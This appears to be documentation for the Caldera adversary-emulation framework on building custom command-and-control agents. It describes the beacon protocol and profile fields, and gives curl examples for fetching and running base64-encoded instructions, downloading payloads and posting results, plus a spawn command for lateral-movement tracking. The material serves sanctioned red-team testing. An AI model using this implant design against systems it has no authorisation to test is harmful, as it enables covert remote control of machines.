How to Build Agents

Building your own agent is a way to create a unique - or undetectable - footprint on compromised machines. Our default agent, Sandcat, is a representation of what an agent can do. This agent is written in GoLang and offers an extensible collection of command-and-control (C2) protocols, such as communicating over HTTP or GitHub Gist.

You can extend Sandcat by adding your own C2 protocols in place or you can follow this guide to create your own agent from scratch.

Understanding contacts

Agents are processes which are deployed on compromised hosts and connect with the C2 server periodically for instructions. An agent connects to the server through a contact, which is a specific connection point on the server.

Each contact is defined in an independent Python module and is registered with the contact_svc when the server starts.

There are currently several built-in contacts available: http, tcp, udp, websocket, gist (via Github), and dns.

For additional stealth, supporting agents can use communication tunnels to tunnel built-in contacts like HTTP, TCP, and UDP. For more information on C2 communication tunneling, see the C2 tunneling section.

Building an agent: HTTP contact

Start by getting a feel for the HTTP endpoint, which are located in the contacts/ module.

POST  /beacon 

Part #1

Start by writing a POST request to the /beacon endpoint.

In your agent code, create a flat JSON dictionary of key/value pairs and ensure the following properties are included as keys. Add values which correlate to the host your agent will be running on. Note - all of these properties are optional - but you should aim to cover as many as you can.

If you don’t include a platform and executors then the server will never provide instructions to the agent, as it won’t know which ones are valid to send.

  • server: The location (IP or FQDN) of the C2 server

  • platform: The operating system

  • host: The hostname of the machine

  • group: Either red or blue. This determines if your agent will be used as a red or blue agent.

  • paw: The current unique identifier for the agent, either initially generated by the agent itself or provided by the C2 on initial beacon.

  • username: The username running the agent

  • architecture: The architecture of the host

  • executors: A list of executors allowed on the host

  • privilege: The privilege level of the agent process, either User or Elevated

  • pid: The process identifier of the agent

  • ppid: The process identifier of the agent’s parent process

  • location: The location of the agent on disk

  • exe_name: The name of the agent binary file

  • host_ip_addrs: A list of valid IPv4 addresses on the host

  • proxy_receivers: a dict (key: string, value: list of strings) that maps a peer-to-peer proxy protocol name to a list of addresses that the agent is listening on for peer-to-peer client requests.

  • deadman_enabled: a boolean that tells the C2 server whether or not this agent supports deadman abilities. If this value is not provided, the server assumes that the agent does not support deadman abilities.

  • upstream_dest: The “next hop” upstream destination address (e.g. IP or FQDN) that the agent uses to reach the C2 server. If the agent is using peer-to-peer communication to reach the C2, this value will contain the peer address rather than the C2 address.

At this point, you are ready to make a POST request with the profile to the /beacon endpoint. You should get back:

  1. The recommended number of seconds to sleep before sending the next beacon

  2. The recommended number of seconds (watchdog) to wait before killing the agent, once the server is unreachable (0 means infinite)

  3. A list of instructions - base64 encoded.

profile=$(echo '{"server":"","platform":"darwin","executors":["sh"]}' | base64)
curl -s -X POST -d $profile localhost:8888/beacon | base64 --decode
...{"paw": "dcoify", sleep": 59, "watchdog": 0, "instructions": "[...]"}

If you get a malformed base64 error, that means the operating system you are using is adding an empty space to the profile variable. You can prove this by

echo $profile

To resolve this error, simply change the line to (note the only difference is ‘-w 0’):

profile=$(echo '{"server":"","platform":"darwin","executors":["sh"]}' | base64 -w 0)

The paw property returned back from the server represents a unique identifier for your new agent. Each time you call the /beacon endpoint without this paw, a new agent will be created on the server - so you should ensure that future beacons include it.

You can now navigate to the Caldera UI, click into the agents tab and view your new agent.

Part #2

Now it’s time to execute the instructions.

Looking at the previous response, you can see each instruction contains:

  • id: The link ID associated to the ability

  • sleep: A recommended pause to take after running this instruction

  • command: A base64 encoded command to run

  • executor: The executor to run the command under

  • timeout: How long to let the command run before timing it out

  • payload: A payload file name which must be downloaded before running the command, if applicable

  • uploads: A list of file names that the agent must upload to the C2 server after running the command.

Now, you’ll want to revise your agent to loop through all the instructions, executing each command and POSTing the response back to the /beacon endpoint. You should pause after running each instruction, using the sleep time provided inside the instruction.

data=$(echo '{"paw":"$paw","results":[{"id":$id, "output":$output, "stderr":$stderr, "exit_code":$exit_code, "status": $status, "pid":$pid}]}' | base64)
curl -s -X POST -d $data localhost:8888/beacon
sleep $instruction_sleep

The POST details inside the result are as follows:

  • id: the ID of the instruction you received

  • output: the base64 encoded output (or stdout) from running the instruction

  • stderr: the base64 encoded error messages (or stderr) from running the instruction

  • exit_code: the OS or process exit code from running the instruction. If unsure, leave blank.

  • status: the status code from running the instruction. If unsure, put 0.

  • pid: the process identifier the instruction ran under. If unsure, put 0.

Once all instructions are run, the agent should sleep for the specified time in the beacon before calling the /beacon endpoint again. This process should repeat forever.

Part #3

Inside each instruction, there is an optional payload property that contains a filename of a file to download before running the instruction. To implement this, add a file download capability to your agent, directing it to the /file/download endpoint to retrieve the file:

curl -X POST -H "file:$payload" http://localhost:8888/file/download > some_file_name.txt

Part 4

Inside each instruction, there is an optional uploads property that contains a list of filenames to upload to the C2 after running the instruction and submitting the execution results. To implement this, add a file upload capability to your agent. If using the HTTP contact, the file upload should hit the /file/upload upload endpoint of the server.

Part #5

You should implement the watchdog configuration. This property, passed to the agent in every beacon, contains the number of seconds to allow a dead beacon before killing the agent.

Lateral Movement Tracking

Additionally, you may want to take advantage of Caldera’s lateral movement tracking capabilities. Caldera’s current implementation for tracking lateral movement depends on passing the ID of the Link spawning the agent as an argument to the agent’s spawn command and upon the agent’s check in, for this Link ID to be returned as part of the agent’s profile. The following section explains how lateral movement tracking has been enabled for the default agent, Sandcat.


An example Sandcat spawn command has been copied from the Service Creation ability and included below for reference:

C:\Users\Public\s4ndc4t.exe -server #{server} -originLinkID #{origin_link_id}

If the Caldera server is running on and the ID of the Link with the spawn command is cd63fdbb-0f3a-49ea-b4eb-306a3ff40f81, the populated command will appear as:

C:\Users\Public\s4ndc4t.exe -server -originLinkID cd63fdbb-0f3a-49ea-b4eb-306a3ff40f81

The Sandcat agent stores the value of this global variable in its profile, which is then returned to the Caldera server upon first check-in as a key\value pair origin_link_id : cd63fdbb-0f3a-49ea-b4eb-306a3ff40f81 in the JSON dictionary. The Caldera server will automatically store this pair when creating the Agent object and use it when generating the Attack Path graph in the Debrief plugin.

NOTE: The origin_link_id key is optional and not required for the Caldera server to register and use new agents as expected. It is only required to take advantage of the lateral movement tracking in the Debrief plugin.